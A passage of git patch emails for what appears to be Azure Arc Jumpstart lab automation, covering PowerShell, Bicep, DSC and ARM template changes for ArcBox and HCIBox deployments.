-# $secretProvider = @" -# apiVersion: secrets-store.csi.x-k8s.io/v1 -# kind: SecretProviderClass -# metadata: -# name: azure-kv-sync-tls -# spec: -# provider: azure -# secretObjects: # secretObjects defines the desired state of synced K8s secret objects -# - secretName: ingress-tls-csi -# type: kubernetes.io/tls -# data: -# - objectName: "$certname" -# key: tls.key -# - objectName: "$certname" -# key: tls.crt -# parameters: -# usePodIdentity: "false" -# keyvaultName: $Env:keyVaultName -# objects: | -# array: -# - | -# objectName: "$certname" -# objectType: secret -# tenantId: "$Env:tenantId" -# "@ - -# Write-Host "Creating Secret Provider Class" -# $secretProvider | kubectl apply -n $k3sNamespace -f - - -# # Create the pod with volume referencing the secrets-store.csi.k8s.io driver -# $appConsumer = @" -# apiVersion: v1 -# kind: Pod -# metadata: -# name: busybox-secrets-sync -# spec: -# containers: -# - name: busybox -# image: k8s.gcr.io/e2e-test-images/busybox:1.29 -# command: -# - "/bin/sleep" -# - "10000" -# volumeMounts: -# - name: secrets-store-inline -# mountPath: "/mnt/secrets-store" -# readOnly: true -# volumes: -# - name: secrets-store-inline -# csi: -# driver: secrets-store.csi.k8s.io -# readOnly: true -# volumeAttributes: -# secretProviderClass: "azure-kv-sync-tls" -# nodePublishSecretRef: -# name: secrets-store-creds -# "@ - -# Write-Host "Deploying App referencing the secret" -# $appConsumer | kubectl apply -n $k3sNamespace -f - - -# Deploy an Ingress Resource referencing the Secret created by the CSI driver +# Deploy an Ingress Resource for Hello-Arc $ingressController = @" apiVersion: networking.k8s.io/v1 kind: Ingress diff --git a/azure_jumpstart_arcbox/artifacts/gitops_scripts/K3sRBAC.ps1 b/azure_jumpstart_arcbox/artifacts/gitops_scripts/K3sRBAC.ps1 index 8414ae36d6..fb54aab2ef 100644 --- a/azure_jumpstart_arcbox/artifacts/gitops_scripts/K3sRBAC.ps1 +++ b/azure_jumpstart_arcbox/artifacts/gitops_scripts/K3sRBAC.ps1 @@ -1,9 +1,8 @@ $Env:ArcBoxLogsDir = "C:\ArcBox\Logs" -$Env:k3sArcClusterName=(Get-AzResource -ResourceGroupName $Env:resourceGroup -ResourceType microsoft.kubernetes/connectedclusters).Name | Select-String "$namingPrefix-K3s" | Where-Object { $_ -ne "" } +$Env:k3sArcClusterName=(Get-AzResource -ResourceGroupName $Env:resourceGroup -ResourceType microsoft.kubernetes/connectedclusters).Name | Select-String "$namingPrefix-K3s" | Where-Object { $_ -ne "" -and $_ -notmatch "-Data-" } $Env:k3sArcClusterName=$Env:k3sArcClusterName -replace "`n","" $namingPrefix = $Env:namingPrefix -$k3sNamespace = "hello-arc" $appClonedRepo = "https://github.com/$Env:githubUser/azure-arc-jumpstart-apps" Start-Transcript -Path $Env:ArcBoxLogsDir\K3sRBAC.log diff --git a/azure_jumpstart_arcbox/artifacts/gitops_scripts/ResetBookstore.ps1 b/azure_jumpstart_arcbox/artifacts/gitops_scripts/ResetBookstore.ps1 deleted file mode 100644 index 4295dba813..0000000000 --- a/azure_jumpstart_arcbox/artifacts/gitops_scripts/ResetBookstore.ps1 +++ /dev/null @@ -1,98 +0,0 @@ -$Env:ArcBoxLogsDir = "C:\ArcBox\Logs" - -$certdns = "arcbox.devops.com" - -Start-Transcript -Path $Env:ArcBoxLogsDir\ResetBookstore.log - -# Switch kubectl context to arcbox-k3s-datasvc -$Env:KUBECONFIG="C:\Users\$Env:adminUsername\.kube\config" -kubectx - -############################ -# - Deploy Ingress for Reset -############################ - -# Deploy Ingress for Bookbuyer Reset API -echo "Deploying Ingress Resource for bookbuyer reset API" -$ingressBookbuyer = @" -apiVersion: networking.k8s.io/v1 -kind: Ingress -metadata: - name: ingress-reset-bookbuyer - annotations: - nginx.ingress.kubernetes.io/rewrite-target: /reset -spec: - ingressClassName: nginx - rules: - - host: "$certdns" - http: - paths: - - pathType: ImplementationSpecific - backend: - service: - name: bookbuyer - port: - number: 14001 - path: /bookbuyer/reset -"@ -$ingressBookbuyer | kubectl apply -n bookbuyer -f - - - -# Deploy Ingress for Bookstore Reset API -echo "Deploying Ingress Resource for bookstore reset API" -$ingressBookstore = @" -apiVersion: networking.k8s.io/v1 -kind: Ingress -metadata: - name: ingress-reset-bookstore - annotations: - nginx.ingress.kubernetes.io/rewrite-target: /reset -spec: - ingressClassName: nginx - rules: - - host: "$certdns" - http: - paths: - - pathType: ImplementationSpecific - backend: - service: - name: bookstore - port: - number: 14001 - path: /bookstore/reset -"@ -$ingressBookstore | kubectl apply -n bookstore -f - - -# Deploy Ingress for Bookstore-v2 Reset API -echo "Deploying Ingress Resource for bookstore-v2 reset API" -$ingressBookstorev2 = @" -apiVersion: networking.k8s.io/v1 -kind: Ingress -metadata: - name: ingress-reset-bookstore-v2 - annotations: - nginx.ingress.kubernetes.io/rewrite-target: /reset -spec: - ingressClassName: nginx - rules: - - host: "$certdns" - http: - paths: - - pathType: ImplementationSpecific - backend: - service: - name: bookstore-v2 - port: - number: 14001 - path: /bookstore-v2/reset -"@ -$ingressBookstorev2 | kubectl apply -n bookstore -f - - - -#################### -# - Invoke Reset API -#################### - -Invoke-WebRequest -Uri "http://$certdns/bookbuyer/reset" -UseBasicParsing -Invoke-WebRequest -Uri "http://$certdns/bookstore/reset" -UseBasicParsing -Invoke-WebRequest -Uri "http://$certdns/bookstore-v2/reset" -UseBasicParsing diff --git a/azure_jumpstart_arcbox/bicep/main.bicep b/azure_jumpstart_arcbox/bicep/main.bicep index 9ca151f481..66426e4edb 100644 --- a/azure_jumpstart_arcbox/bicep/main.bicep +++ b/azure_jumpstart_arcbox/bicep/main.bicep @@ -138,6 +138,25 @@ module ubuntuRancherK3sDeployment 'kubernetes/ubuntuRancher.bicep' = if (flavor } } +module ubuntuRancherK3sNodesDeployment 'kubernetes/ubuntuRancherNodes.bicep' = [for i in range(0, k3sClusterNodesCount): if (flavor == 'DevOps') { + name: 'ubuntuRancherK3sNodesDeployment-${i}' + params: { + sshRSAPublicKey: sshRSAPublicKey + stagingStorageAccountName: toLower(stagingStorageAccountDeployment.outputs.storageAccountName) + logAnalyticsWorkspace: logAnalyticsWorkspaceName + templateBaseUrl: templateBaseUrl + subnetId: mgmtArtifactsAndPolicyDeployment.outputs.subnetId + azureLocation: location + flavor: flavor + vmName : '${k3sArcClusterName}-Node-0${i}' + storageContainerName: toLower(k3sArcClusterName) + namingPrefix: namingPrefix + } + dependsOn: [ + ubuntuRancherK3sDeployment + ] +}] + module clientVmDeployment 'clientVm/clientVm.bicep' = { name: 'clientVmDeployment' params: { From ebbc0859a495584eb2cc486d4c1a7ae84dabe577 Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Thu, 15 Aug 2024 22:36:47 +0200 Subject: [PATCH 497/506] Set default value for vmAutologon to true --- azure_jumpstart_arcbox/bicep/main.bicep | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/azure_jumpstart_arcbox/bicep/main.bicep b/azure_jumpstart_arcbox/bicep/main.bicep index 66426e4edb..341de0066d 100644 --- a/azure_jumpstart_arcbox/bicep/main.bicep +++ b/azure_jumpstart_arcbox/bicep/main.bicep @@ -15,7 +15,7 @@ param windowsAdminUsername string param windowsAdminPassword string @description('Enable automatic logon into ArcBox Virtual Machine') -param vmAutologon bool = false +param vmAutologon bool = true @description('Override default RDP port using this parameter. Default is 3389. No changes will be made to the client VM.') param rdpPort string = '3389' From a630c8c52d298423b4cb1fda265c5541306fedb5 Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Thu, 15 Aug 2024 22:37:14 +0200 Subject: [PATCH 498/506] Set default value for vmAutologon to true --- azure_jumpstart_arcbox/ARM/azuredeploy.json | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/azure_jumpstart_arcbox/ARM/azuredeploy.json b/azure_jumpstart_arcbox/ARM/azuredeploy.json index 051cd7c93a..bbb5d1c28f 100644 --- a/azure_jumpstart_arcbox/ARM/azuredeploy.json +++ b/azure_jumpstart_arcbox/ARM/azuredeploy.json @@ -39,7 +39,7 @@ }, "vmAutologon": { "type": "bool", - "defaultValue": false, + "defaultValue": true, "metadata": { "description": "Enable automatic logon into ArcBox Virtual Machine" } @@ -9237,4 +9237,4 @@ "value": "[if(equals(parameters('flavor'), 'DataOps'), format('{0}@{1}', parameters('windowsAdminUsername'), parameters('addsDomainName')), '')]" } } -} \ No newline at end of file +} From bda322dd9384c54abab6e84a1bfd8bc4b919032f Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Fri, 16 Aug 2024 03:19:00 +0200 Subject: [PATCH 499/506] Moved DSC configuration for Hyper-V (#2675) * Moved DSC configuration for Hyper-V and VM Switch from Common to DataOps and ITPro Signed-off-by: Jan Egil Ring * Updated Hyper-V DSC for ITPro and DevOps Signed-off-by: Jan Egil Ring * Do not install Hyper-V if flavor is DevOps Signed-off-by: Jan Egil Ring --------- Signed-off-by: Jan Egil Ring --- .../artifacts/Bootstrap.ps1 | 4 +++ .../artifacts/dsc/common.dsc.yml | 31 ------------------ .../artifacts/dsc/dataops.dsc.yml | 32 ++++++++++++++++++- .../artifacts/dsc/devops.dsc.yml | 1 - .../artifacts/dsc/itpro.dsc.yml | 31 ++++++++++++++++++ 5 files changed, 66 insertions(+), 33 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 b/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 index 3cb2ce8721..02a44c593f 100644 --- a/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 +++ b/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 @@ -429,6 +429,8 @@ else { # Disabling Windows Server Manager Scheduled Task Get-ScheduledTask -TaskName ServerManager | Disable-ScheduledTask + if ($flavor -eq "ITPro") { + Write-Header "Installing Hyper-V" # Install Hyper-V and reboot @@ -437,6 +439,8 @@ else { Enable-WindowsOptionalFeature -Online -FeatureName VirtualMachinePlatform -NoRestart Install-WindowsFeature -Name Hyper-V -IncludeAllSubFeature -IncludeManagementTools -Restart + } + # Clean up Bootstrap.log Write-Host "Clean up Bootstrap.log" Stop-Transcript diff --git a/azure_jumpstart_arcbox/artifacts/dsc/common.dsc.yml b/azure_jumpstart_arcbox/artifacts/dsc/common.dsc.yml index c644df8520..cbae2a56bb 100644 --- a/azure_jumpstart_arcbox/artifacts/dsc/common.dsc.yml +++ b/azure_jumpstart_arcbox/artifacts/dsc/common.dsc.yml @@ -86,35 +86,4 @@ properties: settings: FontName: Cascadia Mono FontFile: C:\Program Files\WindowsApps\Microsoft.WindowsTerminal_1.18.3181.0_x64__8wekyb3d8bbwe\CascadiaMono.ttf - - resource: PSDscResources/WindowsFeature - id: Hyper-V - directives: - description: Install Hyper-V - settings: - Name: Hyper-V - Ensure: Present - - resource: HyperVDsc/VMHost - id: VMHost - directives: - description: Configure VM Host settings - settings: - IsSingleInstance: Yes - EnableEnhancedSessionMode: True - - resource: HyperVDsc/VMSwitch - id: VMSwitch - directives: - description: Configure VM Switch - settings: - Name: InternalNATSwitch - Ensure: Present - Type: Internal - - resource: NetworkingDsc/IPAddress - id: IPAddress.VMSwitch - directives: - description: Configure VM Switch vNIC IP Address - settings: - InterfaceAlias: 'vEthernet (InternalNATSwitch)' - IPAddress: '10.10.1.1/24' - AddressFamily: IPv4 - KeepExistingAddress: false configurationVersion: 0.2.0 \ No newline at end of file diff --git a/azure_jumpstart_arcbox/artifacts/dsc/dataops.dsc.yml b/azure_jumpstart_arcbox/artifacts/dsc/dataops.dsc.yml index 722865abe4..b7f8a8f193 100644 --- a/azure_jumpstart_arcbox/artifacts/dsc/dataops.dsc.yml +++ b/azure_jumpstart_arcbox/artifacts/dsc/dataops.dsc.yml @@ -58,5 +58,35 @@ properties: settings: id: Istio.Istio source: winget - + - resource: PSDscResources/WindowsFeature + id: Hyper-V + directives: + description: Install Hyper-V + settings: + Name: Hyper-V + Ensure: Present + - resource: HyperVDsc/VMHost + id: VMHost + directives: + description: Configure VM Host settings + settings: + IsSingleInstance: Yes + EnableEnhancedSessionMode: True + - resource: HyperVDsc/VMSwitch + id: VMSwitch + directives: + description: Configure VM Switch + settings: + Name: InternalNATSwitch + Ensure: Present + Type: Internal + - resource: NetworkingDsc/IPAddress + id: IPAddress.VMSwitch + directives: + description: Configure VM Switch vNIC IP Address + settings: + InterfaceAlias: 'vEthernet (InternalNATSwitch)' + IPAddress: '10.10.1.1/24' + AddressFamily: IPv4 + KeepExistingAddress: false configurationVersion: 0.2.0 \ No newline at end of file diff --git a/azure_jumpstart_arcbox/artifacts/dsc/devops.dsc.yml b/azure_jumpstart_arcbox/artifacts/dsc/devops.dsc.yml index d77cb4f582..9a79565f0d 100644 --- a/azure_jumpstart_arcbox/artifacts/dsc/devops.dsc.yml +++ b/azure_jumpstart_arcbox/artifacts/dsc/devops.dsc.yml @@ -37,5 +37,4 @@ properties: settings: id: Istio.Istio source: winget - configurationVersion: 0.2.0 \ No newline at end of file diff --git a/azure_jumpstart_arcbox/artifacts/dsc/itpro.dsc.yml b/azure_jumpstart_arcbox/artifacts/dsc/itpro.dsc.yml index 2e7b256e31..616c6d817e 100644 --- a/azure_jumpstart_arcbox/artifacts/dsc/itpro.dsc.yml +++ b/azure_jumpstart_arcbox/artifacts/dsc/itpro.dsc.yml @@ -9,4 +9,35 @@ properties: settings: id: 7zip.7zip source: winget + - resource: PSDscResources/WindowsFeature + id: Hyper-V + directives: + description: Install Hyper-V + settings: + Name: Hyper-V + Ensure: Present + - resource: HyperVDsc/VMHost + id: VMHost + directives: + description: Configure VM Host settings + settings: + IsSingleInstance: Yes + EnableEnhancedSessionMode: True + - resource: HyperVDsc/VMSwitch + id: VMSwitch + directives: + description: Configure VM Switch + settings: + Name: InternalNATSwitch + Ensure: Present + Type: Internal + - resource: NetworkingDsc/IPAddress + id: IPAddress.VMSwitch + directives: + description: Configure VM Switch vNIC IP Address + settings: + InterfaceAlias: 'vEthernet (InternalNATSwitch)' + IPAddress: '10.10.1.1/24' + AddressFamily: IPv4 + KeepExistingAddress: false configurationVersion: 0.2.0 \ No newline at end of file From cc01361f334ba25de9bc9c392ef6430ad992f710 Mon Sep 17 00:00:00 2001 From: Venkata Chintala <29983008+chintalavr@users.noreply.github.com> Date: Fri, 16 Aug 2024 10:29:00 -0400 Subject: [PATCH 500/506] Update DataOpsTestAppScript.ps1 (#2676) --- azure_jumpstart_arcbox/artifacts/DataOpsTestAppScript.ps1 | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/azure_jumpstart_arcbox/artifacts/DataOpsTestAppScript.ps1 b/azure_jumpstart_arcbox/artifacts/DataOpsTestAppScript.ps1 index d3f8bcf3b6..905c189e60 100644 --- a/azure_jumpstart_arcbox/artifacts/DataOpsTestAppScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/DataOpsTestAppScript.ps1 @@ -25,7 +25,7 @@ spec: spec: containers: - name: dbconnecttest - image: azurearcjumpstart.azurecr.io/databaseconnectiontest + image: jumpstartprod.azurecr.io/dbconnecttest:latest volumeMounts: - name: secrets mountPath: /app/secrets From 0f228fcbcef86ce450517810c39830c9ef89a7d1 Mon Sep 17 00:00:00 2001 From: dkirby-ms Date: Wed, 21 Aug 2024 17:29:13 -0500 Subject: [PATCH 501/506] update hci ARM template --- .../PowerShell/Generate-ARM-Template.ps1 | 12 +- .../PowerShell/New-HCIBoxCluster.ps1 | 4 +- azure_jumpstart_hcibox/artifacts/hci.json | 1483 ++++++++++------- .../artifacts/hci.parameters.json | 30 +- 4 files changed, 926 insertions(+), 603 deletions(-) diff --git a/azure_jumpstart_hcibox/artifacts/PowerShell/Generate-ARM-Template.ps1 b/azure_jumpstart_hcibox/artifacts/PowerShell/Generate-ARM-Template.ps1 index 94c2a10394..75d824d2d2 100644 --- a/azure_jumpstart_hcibox/artifacts/PowerShell/Generate-ARM-Template.ps1 +++ b/azure_jumpstart_hcibox/artifacts/PowerShell/Generate-ARM-Template.ps1 @@ -34,6 +34,7 @@ $storageAccountAccessKey = [Convert]::ToBase64String([System.Text.Encoding]::UT $AzureStackLCM=[Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes("$($HCIBoxConfig.LCMDeployUsername):$($HCIBoxConfig.SDNAdminPassword)")) $LocalUser=[Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes("Administrator:$($HCIBoxConfig.SDNAdminPassword)")) $AzureSPN=[Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes("$($env:spnClientId):$($env:spnClientSecret)")) +$SPNobjectId=$(az ad sp show --id $env:spnClientId --query id -o tsv) # Construct OU path $domainName = $HCIBoxConfig.SDNDomainFQDN.Split('.') @@ -75,9 +76,14 @@ $diagnosticsStorageName = "hciboxdiagsa$guid" $hciParams = "$env:HCIBoxDir\hci.parameters.json" (Get-Content -Path $hciParams) -replace 'clusterName-staging', $HCIBoxConfig.ClusterName | Set-Content -Path $hciParams (Get-Content -Path $hciParams) -replace 'arcNodeResourceIds-staging', $arcNodeResourceIds | Set-Content -Path $hciParams -(Get-Content -Path $hciParams) -replace 'localAdminSecretValue-staging', $LocalUser | Set-Content -Path $hciParams -(Get-Content -Path $hciParams) -replace 'domainAdminSecretValue-staging', $AzureStackLCM | Set-Content -Path $hciParams -(Get-Content -Path $hciParams) -replace 'arbDeploymentSpnValue-staging', $AzureSPN | Set-Content -Path $hciParams +(Get-Content -Path $hciParams) -replace 'localAdminUserName-staging', 'Administrator' | Set-Content -Path $hciParams +(Get-Content -Path $hciParams) -replace 'localAdminPassword-staging', $($HCIBoxConfig.SDNAdminPassword) | Set-Content -Path $hciParams +(Get-Content -Path $hciParams) -replace 'AzureStackLCMAdminUserName-staging', $($HCIBoxConfig.LCMDeployUsername) | Set-Content -Path $hciParams +(Get-Content -Path $hciParams) -replace 'AzureStackLCMAdminAdminPassword-staging', $($HCIBoxConfig.SDNAdminPassword) | Set-Content -Path $hciParams +(Get-Content -Path $hciParams) -replace 'arbDeploymentAppId-staging', $($env:spnClientId) | Set-Content -Path $hciParams +(Get-Content -Path $hciParams) -replace 'arbDeploymentAppSecret-staging', $($env:spnClientSecret) | Set-Content -Path $hciParams +(Get-Content -Path $hciParams) -replace 'arbDeploymentSPNObjectID-staging', $SPNobjectId | Set-Content -Path $hciParams +(Get-Content -Path $hciParams) -replace 'hciResourceProviderObjectID-staging', $env:spnProviderId | Set-Content -Path $hciParams (Get-Content -Path $hciParams) -replace 'storageWitnessValue-staging', $storageAccountAccessKey | Set-Content -Path $hciParams (Get-Content -Path $hciParams) -replace 'domainFqdn-staging', $($HCIBoxConfig.SDNDomainFQDN) | Set-Content -Path $hciParams (Get-Content -Path $hciParams) -replace 'namingPrefix-staging', $($HCIBoxConfig.LCMDeploymentPrefix) | Set-Content -Path $hciParams diff --git a/azure_jumpstart_hcibox/artifacts/PowerShell/New-HCIBoxCluster.ps1 b/azure_jumpstart_hcibox/artifacts/PowerShell/New-HCIBoxCluster.ps1 index 7dd853c72a..e09a2536c2 100644 --- a/azure_jumpstart_hcibox/artifacts/PowerShell/New-HCIBoxCluster.ps1 +++ b/azure_jumpstart_hcibox/artifacts/PowerShell/New-HCIBoxCluster.ps1 @@ -1775,7 +1775,7 @@ Set-HCIDeployPrereqs -HCIBoxConfig $HCIBoxConfig -localCred $localCred -domainCr Write-Host "[Build cluster - Step 10/11] Validate cluster deployment..." -ForegroundColor Green -if ($env:autoDeployClusterResource) { +if ("False" -eq $env:autoDeployClusterResource) { $TemplateFile = Join-Path -Path $env:HCIBoxDir -ChildPath "hci.json" $TemplateParameterFile = Join-Path -Path $env:HCIBoxDir -ChildPath "hci.parameters.json" @@ -1790,7 +1790,7 @@ if ($ClusterValidationDeployment.ProvisioningState -eq "Succeeded") { Write-Host "Validation succeeded. Deploying HCI cluster..." New-AzResourceGroupDeployment -Name 'hcicluster-deploy' -ResourceGroupName $env:resourceGroup -TemplateFile $TemplateFile -deploymentMode "Deploy" -TemplateParameterFile $TemplateParameterFile -OutVariable ClusterDeployment - if ($env:autoUpgradeClusterResource -and $ClusterDeployment.ProvisioningState -eq "Succeeded") { + if ("True" -eq $env:autoUpgradeClusterResource -and $ClusterDeployment.ProvisioningState -eq "Succeeded") { Write-Host "Deployment succeeded. Upgrading HCI cluster..." diff --git a/azure_jumpstart_hcibox/artifacts/hci.json b/azure_jumpstart_hcibox/artifacts/hci.json index 42933f2ac0..4789e21358 100644 --- a/azure_jumpstart_hcibox/artifacts/hci.json +++ b/azure_jumpstart_hcibox/artifacts/hci.json @@ -2,612 +2,911 @@ "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { - "deploymentMode": { - "defaultValue": "Validate", - "type": "string", - "allowedValues": [ - "Validate", - "Deploy" - ], - "metadata": { - "description": "First must pass Validate prior running Deploy" - } - }, - "keyVaultName": { - "type": "string", - "metadata": { - "description": "The KeyVault name used to store the secrets." - }, - "defaultValue": "hcibox-kv-[substring(newGuid(),0,4)]" - }, - "softDeleteRetentionDays": { - "type": "int", - "defaultValue": 30 - }, - "diagnosticStorageAccountName": { - "type": "string", - "metadata": { - "description": "The name of the storage account used for KV audit logs" - } - }, - "logsRetentionInDays": { - "type": "int", - "defaultValue": 30, - "minValue": 0, - "maxValue": 365, - "metadata": { - "description": "Specifies the number of days that logs are gonna be kept. If you do not want to apply any retention policy and retain data forever, set value to 0." - } - }, - "storageAccountType": { - "type": "string", - "defaultValue": "Standard_LRS", - "allowedValues": [ - "Premium_LRS", - "Premium_ZRS", - "Standard_GRS", - "Standard_GZRS", - "Standard_LRS", - "Standard_RAGRS", - "Standard_RAGZRS", - "Standard_ZRS" - ], - "metadata": { - "description": "Storage Account type" - } - }, - "secretsLocation": { - "defaultValue": "", - "type": "string", - "metadata": { - "description": "The fqdn of your KeyVault" - } - }, - "ClusterWitnessStorageAccountName": { - "defaultValue": "", - "type": "string", - "metadata": { - "description": "The existing storage account name used for the cluster witness" - } - }, - "clusterName": { - "type": "string", - "minLength": 3, - "maxLength": 24 - }, - "location": { - "type": "string", - "defaultValue": "[resourceGroup().location]" - }, - "tenantId": { - "type": "string", - "defaultValue": "[subscription().tenantId]" - }, - "localAdminSecretName": { - "type": "string", - "defaultValue": "LocalAdminCredential", - "allowedValues": [ - "LocalAdminCredential" - ], - "metadata": { - "description": "The name can not be changed" - } - }, - "localAdminSecretValue": { - "type": "securestring" - }, - "domainAdminSecretName": { - "type": "string", - "defaultValue": "AzureStackLCMUserCredential", - "allowedValues": [ - "AzureStackLCMUserCredential" - ], - "metadata": { - "description": "The name can not be changed" - } - }, - "domainAdminSecretValue": { - "type": "securestring" - }, - "arbDeploymentSpnName": { - "type": "string", - "defaultValue": "DefaultARBApplication", - "allowedValues": [ - "DefaultARBApplication" - ], - "metadata": { - "description": "The name can not be changed" - } - }, - "arbDeploymentSpnValue": { - "type": "securestring" - }, - "storageWitnessName": { - "type": "string", - "defaultValue": "WitnessStorageKey", - "allowedValues": [ - "WitnessStorageKey" - ], - "metadata": { - "description": "The name can not be changed" - } - }, - "storageWitnessValue": { - "type": "securestring" - }, - "apiVersion": { - "defaultValue": "", - "type": "string", - "metadata": { - "description": "The api version for deploying a hci cluster" - } - }, - "arcNodeResourceIds": { - "defaultValue": [ - ], - "type": "array", - "metadata": { - "description": "The arc for server node Ids of the hci cluster" - } - }, - "domainFqdn": { - "defaultValue": "", - "type": "string", - "metadata": { - "description": "The domain name of the Active Directory Domain Services" - } - }, - "namingPrefix": { - "defaultValue": "", - "type": "string", - "metadata": { - "description": "The ADFS name prefix" - } - }, - "adouPath": { - "defaultValue": "", - "type": "string", - "metadata": { - "description": "The ADDS OU path" - } - }, - "securityLevel": { - "defaultValue": "Recommended", - "type": "string", - "allowedValues": [ - "Recommended", - "Customized" - ], - "metadata": { - "description": "The security level data for deploying a hci cluster" - } - }, - "driftControlEnforced": { - "defaultValue": true, - "type": "bool", - "allowedValues": [ - true, - false - ], - "metadata": { - "description": "The security setting driftControlEnforced data for deploying a hci cluster" - } - }, - "credentialGuardEnforced": { - "defaultValue": true, - "type": "bool", - "allowedValues": [ - true, - false - ], - "metadata": { - "description": "The security setting credentialGuardEnforced data for deploying a hci cluster" - } - }, - "smbSigningEnforced": { - "defaultValue": true, - "type": "bool", - "allowedValues": [ - true, - false - ], - "metadata": { - "description": "The security setting smbSigningEnforced data for deploying a hci cluster" - } - }, - "smbClusterEncryption": { - "defaultValue": false, - "type": "bool", - "allowedValues": [ - true, - false - ], - "metadata": { - "description": "The security setting smbClusterEncryption data for deploying a hci cluster" - } - }, - "bitlockerBootVolume": { - "defaultValue": true, - "type": "bool", - "allowedValues": [ - true, - false - ], - "metadata": { - "description": "The security setting bitlockerBootVolume data for deploying a hci cluster" - } - }, - "bitlockerDataVolumes": { - "defaultValue": true, - "type": "bool", - "allowedValues": [ - true, - false - ], - "metadata": { - "description": "The security setting bitlockerDataVolumes data for deploying a hci cluster" - } - }, - "wdacEnforced": { - "defaultValue": true, - "type": "bool", - "allowedValues": [ - true, - false - ], - "metadata": { - "description": "The security setting wdacEnforced data for deploying a hci cluster" - } - }, - "streamingDataClient": { - "defaultValue": true, - "type": "bool", - "allowedValues": [ - true, - false - ], - "metadata": { - "description": "The metrics data for deploying a hci cluster" - } - }, - "euLocation": { - "defaultValue": false, - "type": "bool", - "allowedValues": [ - true, - false - ], - "metadata": { - "description": "The location data for deploying a hci cluster" - } - }, - "episodicDataUpload": { - "defaultValue": true, - "type": "bool", - "allowedValues": [ - true, - false - ], - "metadata": { - "description": "The diagnostic data for deploying a hci cluster" - } - }, - "configurationMode": { - "defaultValue": "Express", - "type": "string", - "allowedValues": [ - "Express", - "InfraOnly", - "KeepStorage" - ], - "metadata": { - "description": "The storage volume configuration mode" - } - }, - "subnetMask": { - "defaultValue": "", - "type": "string", - "metadata": { - "description": "The subnet mask for deploying a hci cluster" - } - }, - "defaultGateway": { - "defaultValue": "", - "type": "string", - "metadata": { - "description": "The default gateway for deploying a hci cluster" - } - }, - "startingIPAddress": { - "defaultValue": "", - "type": "string", - "metadata": { - "description": "The starting ip address for deploying a hci cluster" - } - }, - "endingIPAddress": { - "defaultValue": "", - "type": "string", - "metadata": { - "description": "The ending ip address for deploying a hci cluster" - } - }, - "dnsServers": { - "defaultValue": [ - "" - ], - "type": "array", - "metadata": { - "description": "The dns servers for deploying a hci cluster" - } - }, - "physicalNodesSettings": { - "type": "array", - "metadata": { - "description": "The physical nodes settings for deploying a hci cluster" - } - }, - "networkingType": { - "defaultValue": "", - "type": "string", - "allowedValues": [ - "switchedMultiServerDeployment", - "switchlessMultiServerDeployment", - "singleServerDeployment" - ], - "metadata": { - "description": "The networking type for deploying a hci cluster" - } - }, - "intentList": { - "defaultValue": [ - ], - "type": "array", - "metadata": { - "description": "The intent list for deploying a hci cluster" - } - }, - "storageNetworkList": { - "defaultValue": [ - ], - "type": "array", - "metadata": { - "description": "The storage network list for deploying a hci cluster" - } - }, - "storageConnectivitySwitchless": { - "defaultValue": false, - "type": "bool", - "metadata": { - "description": "The storage connectivity switchless value for deploying a hci cluster" - } - }, - "customLocation": { - "defaultValue": "", - "type": "string", - "metadata": { - "description": "The custom location for deploying a hci cluster" - } + "deploymentMode": { + "defaultValue": "Validate", + "type": "string", + "allowedValues": [ + "Validate", + "Deploy" + ], + "metadata": { + "description": "First must pass Validate prior running Deploy" + } + }, + "keyVaultName": { + "type": "string", + "metadata": { + "description": "The KeyVault name used to store the secrets." + } + }, + "createNewKeyVault": { + "type": "bool", + "defaultValue": true, + "metadata": { + "description": "Set this value as false, if you are re-using a Keyvault" + } + }, + "softDeleteRetentionDays": { + "type": "int", + "defaultValue": 30 + }, + "diagnosticStorageAccountName": { + "type": "string", + "metadata": { + "description": "The name of the storage account used for KV audit logs" + } + }, + "logsRetentionInDays": { + "type": "int", + "defaultValue": 30, + "minValue": 0, + "maxValue": 365, + "metadata": { + "description": "Specifies the number of days that logs are gonna be kept. If you do not want to apply any retention policy and retain data forever, set value to 0." + } + }, + "storageAccountType": { + "type": "string", + "defaultValue": "Standard_LRS", + "allowedValues": [ + "Premium_LRS", + "Premium_ZRS", + "Standard_GRS", + "Standard_GZRS", + "Standard_LRS", + "Standard_RAGRS", + "Standard_RAGZRS", + "Standard_ZRS" + ], + "metadata": { + "description": "Storage Account type" + } + }, + "clusterName": { + "type": "string", + "minLength": 3, + "maxLength": 24 + }, + "location": { + "type": "string", + "defaultValue": "[resourceGroup().location]" + }, + "tenantId": { + "type": "string", + "defaultValue": "[subscription().tenantId]" + }, + "apiVersion": { + "defaultValue": "2024-04-01", + "type": "string", + "metadata": { + "description": "The api version for deploying a hci cluster" + } + }, + "witnessType": { + "defaultValue": "No Witness", + "type": "string", + "allowedValues": [ + "Cloud", + "No Witness" + ], + "metadata": { + "description": "Witness Type must be 'cloud' for a 2 node cluster. It can be empty of other cluster sizes" } + }, + "clusterWitnessStorageAccountName": { + "defaultValue": "", + "type": "string", + "metadata": { + "description": "Storage account name to be created for the cluster witness, required when Witness Type is cloud" + } + }, + "localAdminUserName": { + "type": "string", + "minLength": 1, + "metadata": { + "description": "local administrator username" + } + }, + "localAdminPassword": { + "type": "securestring", + "minLength": 1, + "metadata": { + "description": "local administrator password" + } + }, + "AzureStackLCMAdminUsername": { + "type": "string", + "minLength": 1, + "metadata": { + "description": "Deployment user username" + } + }, + "AzureStackLCMAdminPassword": { + "type": "securestring", + "minLength": 1, + "metadata": { + "description": "Deployment user password" + } + }, + "arbDeploymentAppID": { + "type": "string", + "minLength": 1, + "metadata": { + "description": "ARB SPN's AppID" + } + }, + "arbDeploymentAppSecret": { + "type": "securestring", + "minLength": 1, + "metadata": { + "description": "ARB SPN's Password" + } + }, + 